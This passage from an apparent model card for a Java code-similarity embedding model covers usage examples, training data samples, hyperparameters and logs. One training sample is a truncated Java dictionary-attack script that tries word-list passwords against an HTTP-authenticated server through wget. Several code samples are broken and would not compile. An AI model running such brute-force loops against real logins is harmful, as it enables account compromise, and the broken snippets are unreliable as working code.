ex.printStackTrace();\n }\n in.print();\n out.print();\n\n dirty = diff();\n if (dirty == 1){\n sendMail();\n System.out.println("Changes detected and email sent!");\n }\n\n if (diffimages() == 1){\n sendMail();\n System.out.println("Images modification detected and email sent!");\n }\n\n updatePage();\n System.out.println("** End of WatchDog checking **");\n\n } catch (Exception ex) {\n ex.printStackTrace();\n }\n }\n\n public static int diff()\n {\n int update = 0;\n\n try{\n Process process = Runtime.getRuntime().exec("diff -b RMITCSStudent newstudent");\n BufferedReader pr = new BufferedReader(\n new InputStreamReader(\n process.getInputStream()));\n\n output = new FileWriter("output");\n String inputLine;\n while ((inputLine = pr.readLine()) != null){\n output.write(inputLine + "\\n");\n update = 1;\n }\n output.promt();\n\n }catch (Exception ex){\n ex.printStackTrace();\n }\n return update;\n }\n\n public static int diffimages()\n {\n int update = 0;\n String image;\n\n try{\n Process primages = Runtime.getRuntime().exec("./images.sh");\n wait(1);\n File imageFile = new File("imagesname");\n BufferedReader fr = new BufferedReader(new FileReader(imageFile));\n\n output = new FileWriter("output");\n while ((image = fr.readLine()) != null) {\n primages = Runtime.getRuntime().exec("diff " + image + " o"+image);\n BufferedReader pr = new BufferedReader(\n new InputStreamReader(\n primages.getInputStream()));\n\n String inputLine;\n while ((inputLine = pr.readLine()) != null){\n output.write(inputLine + "\\n");\n update = 1;\n }\n }\n output.print();\n fr.close();\n\n }catch (Exception ex){\n ex.printStackTrace();\n }\n return update;\n }\n\n public static void sendMail()\n {\n try{\n Process mailprocess = Runtime.getRuntime().exec("./email.sh");\n }catch (Exception ex){\n ex.printStackTrace();\n }\n }\n\n public static void updatePage()\n {\n String image;\n\n try{\n Process updateprocess = Runtime.getRuntime().exec("cp newstudent RMITCSStudent");\n Process deleteprocess = Runtime.getRuntime().exec("rm newstudent");\n\n File inputFile = new File("imagesname");\n BufferedReader fr = new BufferedReader(new FileReader(inputFile));\n while ((image = fr.readLine()) != null) {\n updateprocess = Runtime.getRuntime().exec("cp " + image + " o" + image);\n deleteprocess = Runtime.getRuntime().exec("rm " + image);\n }\n fr.close();\n }catch (Exception ex){\n ex.printStackTrace();\n }\n }\n\n public static void wait(int time){\n\t int timer, times;\n\t timer = System.currentTimeMillis();\n\t times = (time * 1000) + timer;\n\n\t while(timer < times)\n\t\t\ttimer = System.currentTimeMillis();\n\t}\n}', |
| 'import java.net.*;\nimport java.io.*;\n\n\npublic class EmailClient\n{\n\tprivate String sender, recipient, hostName;\n\n\tpublic EmailClient(String nSender, String nRecipient, String nHost)\n\t{\n\t\tsender = nSender;\n\t\trecipient = nRecipient;\n\t\thostName = nHost;\n\t}\n\n\tpublic void sendMail(String subject, String message)\n\t{\n\t\ttry\n\t\t{\n\t\t\tSocket s1=null;\n\t\t\tInputStream\tis = null;\n\t\t\tOutputStream os = null;\n\n\t\t\tDataOutputStream = null;\n\n\t\t\ts1 = new Socket(hostName,25);\n\t\t\tis = s1.getInputStream();\n\t\t\tos = s1.getOutputStream();\n\n\t\t\tbd = new DataOutputStream(os);\n\n\t\t\tBufferedReader response = new BufferedReader(new InputStreamReader(is));\n\n\t\t\tbd.writeBytes("HELO "+ InetAddress.getLocalHost().getHostName() + "\\r\\n");\n\n\t\t\twaitForSuccessResponse(response);\n\n\t\t\tbd.writeBytes("MAIL FROM:"+sender+"\\n");\n\n\t\t\twaitForSuccessResponse(response);\n\n\t\t\tbd.writeBytes("RCPT :"+recipient+"\\n");\n\n\t\t\twaitForSuccessResponse(response);\n\n\t\t\tbd.writeBytes("data"+"\\n");\n\n\t\t\tbd.writeBytes("Subject:"+subject+"\\n");\n\n\t\t\tbd.writeBytes(message+"\\n.\\n");\n\n\t\t\twaitForSuccessResponse(response);\n\t\t}\n\n\t\tcatch (UnknownHostException badUrl)\n\t\t{\n\t\t\tSystem.out.println("Host unknown.");\n\t\t}\n\n\t\tcatch (EOFException eof)\n\t\t{\n\t\t\tSystem.out.println("<EOF>");\n\t\t}\n\t\tcatch (Exception e)\n\t\t{\n\t\t\tSystem.out.println("got exception: "+e);\n\t\t}\n\t}\n\n\tprivate static void\twaitForSuccessResponse(BufferedReader response) throws IOException\n\t{\n\t\tString rsp;\n\t\tboolean r250 = false;\n\n\t\twhile( ! r250 )\n\t\t{\n\t\t\trsp = response.readLine().trim();\n\n\t\t\tif(rsp.startsWith("250"))\n\t\t\t\tr250 = true;\n\t\t}\n\n\t}\n}', |
| ] |
| embeddings = model.encode(sentences) |
| print(embeddings.shape) |
| # [3, 768] |
| |
| # Get the similarity scores for the embeddings |
| similarities = model.similarity(embeddings, embeddings) |
| print(similarities.shape) |
| # [3, 3] |
| ``` |
|
|
| <!-- |
| ### Direct Usage (Transformers) |
|
|
| <details><summary>Click to see the direct usage in Transformers</summary> |
|
|
| </details> |
| --> |
|
|
| <!-- |
| ### Downstream Usage (Sentence Transformers) |
|
|
| You can finetune this model on your own dataset. |
|
|
| <details><summary>Click to expand</summary> |
|
|
| </details> |
| --> |
|
|
| <!-- |
| ### Out-of-Scope Use |
|
|
| *List how the model may foreseeably be misused and address what users ought not to do with the model.* |
| --> |
|
|
| <!-- |
| ## Bias, Risks and Limitations |
|
|
| *What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.* |
| --> |
|
|
| <!-- |
| ### Recommendations |
|
|
| *What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.* |
| --> |
|
|
| ## Training Details |
|
|
| ### Training Dataset |
|
|
| #### Unnamed Dataset |
|
|
| * Size: 33,411 training samples |
| * Columns: <code>sentence_0</code>, <code>sentence_1</code>, and <code>label</code> |
| * Approximate statistics based on the first 1000 samples: |
| | | sentence_0 | sentence_1 | label | |
| |:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-----------------------------------------------| |
| | type | string | string | int | |
| | details | <ul><li>min: 51 tokens</li><li>mean: 444.12 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 54 tokens</li><li>mean: 462.06 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>0: ~99.80%</li><li>1: ~0.20%</li></ul> | |
| * Samples: |
| | sentence_0 | sentence_1 | label | |
| |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------| |
| | <code><br><br><br>import java.net.*;<br>import java.io.*;<br>import java.Runtime;<br><br>public class WatchDog{<br> public WatchDog(){}<br><br><br> public void copyTo(){<br><br> }<br><br> public static void main(String[] args) throws Exception {<br> WatchDog wd= new WatchDog();<br> SendEMail t = new SendEMail();<br> PrintWriter pw=null;<br> URL url = new URL("http://www.cs.rmit.edu./students");<br> URLConnection yc = url.openConnection();<br> System.out.println("Connection opened...");<br> BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream()));<br> String inputLine;<br> try{<br> pw=new PrintWriter(new FileOutputStream("newHtml"));<br> while ((inputLine = in.readLine()) != null){<br> <br> pw.println(inputLine);<br> }<br> pw.save();<br> }catch(IOException e){<br> System.out.println("Error saving the file");<br> }<br><br> <br> Process p = Runtime.getRuntime().exec("diff -b newHtml oldHtml"); <br> ...</code> | <code><br><br><br><br>import java.io.*;<br>import java.net.*;<br>import java.*;<br>import java.util.*;<br><br>public class DictionaryAttack<br>{<br> public static void main ( String args[])<br> {<br> <br> String function,pass,temp1;<br> int count =0;<br> <br> try{<br> <br> FileReader fr = new FileReader("words.txt");<br> BufferedReader bfread = new BufferedReader(fr);<br><br> Runtime rtime = Runtime.getRuntime();<br> Process prs = null; <br><br><br> while(( bf = bfread.readLine()) != null)<br> {<br> <br> <br> if( f.length() < 4 )<br> {<br> System.out.println(+ " The Attack Number =====>" + count++ );<br> pass = f;<br> <br> function ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/";<br> prs = rtime.exec(function);<br> <br> InputStreamReader stre = new InputStreamReader(prs.getErrorStream());<br> BufferedReader bread = new BufferedReader(stre);<br> while( (temp1 = bread.readLine())!= null)<br> {<br> System.out.println(temp1);<br> if(temp1.equals("HTTP request sent, awaiting resp...</code> | <code>0</code> | |
| | <code><br><br><br><br>import java.net.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class WatchDog<br>{<br><br> public WatchDog()<br> {<br> }<br><br> public static void main(String[] args)<br> {<br> try<br> {<br> if( args.length != 2 )<br> {<br> System.out.println("USAGE: java WatchDog <URL> <mailing UserName>");<br> System.exit(0);<br> }<br><br> Runtime.getRuntime().exec("rm LastWatch.html");<br> Runtime.getRuntime().exec("rm WatchDog.ini");<br><br> Thread.sleep(1000);<br><br> while (true)<br> {<br> WatchDog myWatchDog = new WatchDog();<br> myWatchDog.readHTML(args[0], args[1]);<br><br> Runtime.getRuntime().exec("rm Report.txt");<br> Runtime.getRuntime().exec("rm diffReport.txt");<br> Runtime.getRuntime().exec("rm NewWatch.txt");<br><br> System.out.println(" check after 2 ... press Ctrl-Z suspend WatchDog...");<br><br> Thread.sleep(2*60*1000); <br><br><br> }<br> ...</code> | <code><br><br>import java.net.*;<br>import java.io.*;<br> <br><br>class MyAuthenticator extends Authenticator {<br><br> String password;<br><br> public MyAuthenticator(String pwdin) {<br> password = pwdin;<br> }<br> <br> protected PasswordAuthentication getPasswordAuthentication(){<br> String pwd = password;<br> return new PasswordAuthentication("",pwd.toCharArray());<br> }<br>}<br></code> | <code>0</code> | |
| | <code><br><br>import java.Runtime;<br>import java.io.*;<br><br>public class differenceFile<br>{<br> StringWriter sw =null;<br> PrintWriter pw = null;<br> public differenceFile()<br> {<br> sw = new StringWriter();<br> pw = new PrintWriter();<br> }<br> public String compareFile()<br> {<br> try<br> {<br> Process = Runtime.getRuntime().exec("diff History.txt Comparison.txt");<br><br> InputStream write = sw.getInputStream();<br> BufferedReader bf = new BufferedReader (new InputStreamReader(write));<br> String line;<br> while((line = bf.readLine())!=null)<br> pw.println(line);<br> if((sw.toString().trim()).equals(""))<br> {<br> System.out.println(" difference");<br> return null;<br> }<br> System.out.println(sw.toString().trim());<br> }catch(Exception e){}<br> return sw.toString().trim();<br> }<br>}</code> | <code><br><br><br><br>public class HoldSharedData<br>{<br> private int numOfConnections = 0;<br> private int startTime;<br> private int totalTime = 0;<br> private String[] password;<br> private int pwdCount;<br><br> public HoldSharedData( int time, String[] pwd, int count )<br> {<br> startTime = time;<br><br> password = pwd;<br> pwdCount = count;<br> }<br><br> public int getPwdCount()<br> {<br> return pwdCount;<br> }<br><br> public void setNumOfConnections( )<br> {<br> numOfConnections ++;<br> }<br><br> public int getNumOfConnections()<br> {<br> return numOfConnections;<br> }<br><br> public int getStartTime()<br> {<br> return startTime;<br> }<br><br> public void setTotalTime( int newTotalTime )<br> {<br> totalTime = newTotalTime;<br> }<br><br> public int getTotalTime()<br> {<br> return totalTime;<br> }<br><br> public String getPasswordAt( int index )<br> {<br> return password[index];<br> }<br>} <br></code> | <code>0</code> | |
| * Loss: [<code>BatchAllTripletLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#batchalltripletloss) |
|
|
| ### Training Hyperparameters |
| #### Non-Default Hyperparameters |
|
|
| - `per_device_train_batch_size`: 16 |
| - `per_device_eval_batch_size`: 16 |
| - `num_train_epochs`: 1 |
| - `fp16`: True |
| - `multi_dataset_batch_sampler`: round_robin |
| |
| #### All Hyperparameters |
| <details><summary>Click to expand</summary> |
| |
| - `overwrite_output_dir`: False |
| - `do_predict`: False |
| - `eval_strategy`: no |
| - `prediction_loss_only`: True |
| - `per_device_train_batch_size`: 16 |
| - `per_device_eval_batch_size`: 16 |
| - `per_gpu_train_batch_size`: None |
| - `per_gpu_eval_batch_size`: None |
| - `gradient_accumulation_steps`: 1 |
| - `eval_accumulation_steps`: None |
| - `torch_empty_cache_steps`: None |
| - `learning_rate`: 5e-05 |
| - `weight_decay`: 0.0 |
| - `adam_beta1`: 0.9 |
| - `adam_beta2`: 0.999 |
| - `adam_epsilon`: 1e-08 |
| - `max_grad_norm`: 1 |
| - `num_train_epochs`: 1 |
| - `max_steps`: -1 |
| - `lr_scheduler_type`: linear |
| - `lr_scheduler_kwargs`: {} |
| - `warmup_ratio`: 0.0 |
| - `warmup_steps`: 0 |
| - `log_level`: passive |
| - `log_level_replica`: warning |
| - `log_on_each_node`: True |
| - `logging_nan_inf_filter`: True |
| - `save_safetensors`: True |
| - `save_on_each_node`: False |
| - `save_only_model`: False |
| - `restore_callback_states_from_checkpoint`: False |
| - `no_cuda`: False |
| - `use_cpu`: False |
| - `use_mps_device`: False |
| - `seed`: 42 |
| - `data_seed`: None |
| - `jit_mode_eval`: False |
| - `use_ipex`: False |
| - `bf16`: False |
| - `fp16`: True |
| - `fp16_opt_level`: O1 |
| - `half_precision_backend`: auto |
| - `bf16_full_eval`: False |
| - `fp16_full_eval`: False |
| - `tf32`: None |
| - `local_rank`: 0 |
| - `ddp_backend`: None |
| - `tpu_num_cores`: None |
| - `tpu_metrics_debug`: False |
| - `debug`: [] |
| - `dataloader_drop_last`: False |
| - `dataloader_num_workers`: 0 |
| - `dataloader_prefetch_factor`: None |
| - `past_index`: -1 |
| - `disable_tqdm`: False |
| - `remove_unused_columns`: True |
| - `label_names`: None |
| - `load_best_model_at_end`: False |
| - `ignore_data_skip`: False |
| - `fsdp`: [] |
| - `fsdp_min_num_params`: 0 |
| - `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False} |
| - `fsdp_transformer_layer_cls_to_wrap`: None |
| - `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None} |
| - `deepspeed`: None |
| - `label_smoothing_factor`: 0.0 |
| - `optim`: adamw_torch |
| - `optim_args`: None |
| - `adafactor`: False |
| - `group_by_length`: False |
| - `length_column_name`: length |
| - `ddp_find_unused_parameters`: None |
| - `ddp_bucket_cap_mb`: None |
| - `ddp_broadcast_buffers`: False |
| - `dataloader_pin_memory`: True |
| - `dataloader_persistent_workers`: False |
| - `skip_memory_metrics`: True |
| - `use_legacy_prediction_loop`: False |
| - `push_to_hub`: False |
| - `resume_from_checkpoint`: None |
| - `hub_model_id`: None |
| - `hub_strategy`: every_save |
| - `hub_private_repo`: None |
| - `hub_always_push`: False |
| - `gradient_checkpointing`: False |
| - `gradient_checkpointing_kwargs`: None |
| - `include_inputs_for_metrics`: False |
| - `include_for_metrics`: [] |
| - `eval_do_concat_batches`: True |
| - `fp16_backend`: auto |
| - `push_to_hub_model_id`: None |
| - `push_to_hub_organization`: None |
| - `mp_parameters`: |
| - `auto_find_batch_size`: False |
| - `full_determinism`: False |
| - `torchdynamo`: None |
| - `ray_scope`: last |
| - `ddp_timeout`: 1800 |
| - `torch_compile`: False |
| - `torch_compile_backend`: None |
| - `torch_compile_mode`: None |
| - `include_tokens_per_second`: False |
| - `include_num_input_tokens_seen`: False |
| - `neftune_noise_alpha`: None |
| - `optim_target_modules`: None |
| - `batch_eval_metrics`: False |
| - `eval_on_start`: False |
| - `use_liger_kernel`: False |
| - `eval_use_gather_object`: False |
| - `average_tokens_across_devices`: False |
| - `prompts`: None |
| - `batch_sampler`: batch_sampler |
| - `multi_dataset_batch_sampler`: round_robin |
| |
| </details> |
| |
| ### Training Logs |
| | Epoch | Step | Training Loss | |
| |:------:|:----:|:-------------:| |
| | 0.2393 | 500 | 0.2031 | |
| | 0.4787 | 1000 | 0.1761 | |
| | 0.7180 | 1500 | 0.1914 | |
| | 0.9574 | 2000 | 0.2044 | |
| |
| |
| ### Framework Versions |
| - Python: 3.11.13 |
| - Sentence Transformers: 4.1.0 |
| - Transformers: 4.52.4 |
| - PyTorch: 2.6.0+cu124 |
| - Accelerate: 1.7.0 |
| - Datasets: 3.6.0 |
| - Tokenizers: 0.21.1 |
| |
| ## Citation |
| |
| ### BibTeX |
| |
| #### Sentence Transformers |
| ```bibtex |
| @inproceedings{reimers-2019-sentence-bert, |
| title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks", |
| author = "Reimers, Nils and Gurevych, Iryna", |
| booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing", |
| month = "11", |
| year = "2019", |
| publisher = "Association for Computational Linguistics", |
| url = "https://arxiv.org/abs/1908.10084", |
| } |
| ``` |
| |
| #### BatchAllTripletLoss |
| ```bibtex |
| @misc{hermans2017defense, |
| title={In Defense of the Triplet Loss for Person Re-Identification}, |
| author={Alexander Hermans and Lucas Beyer and Bastian Leibe}, |
| year={2017}, |
| eprint={1703.07737}, |
| archivePrefix={arXiv}, |
| primaryClass={cs.CV} |
| } |
| ``` |
| |
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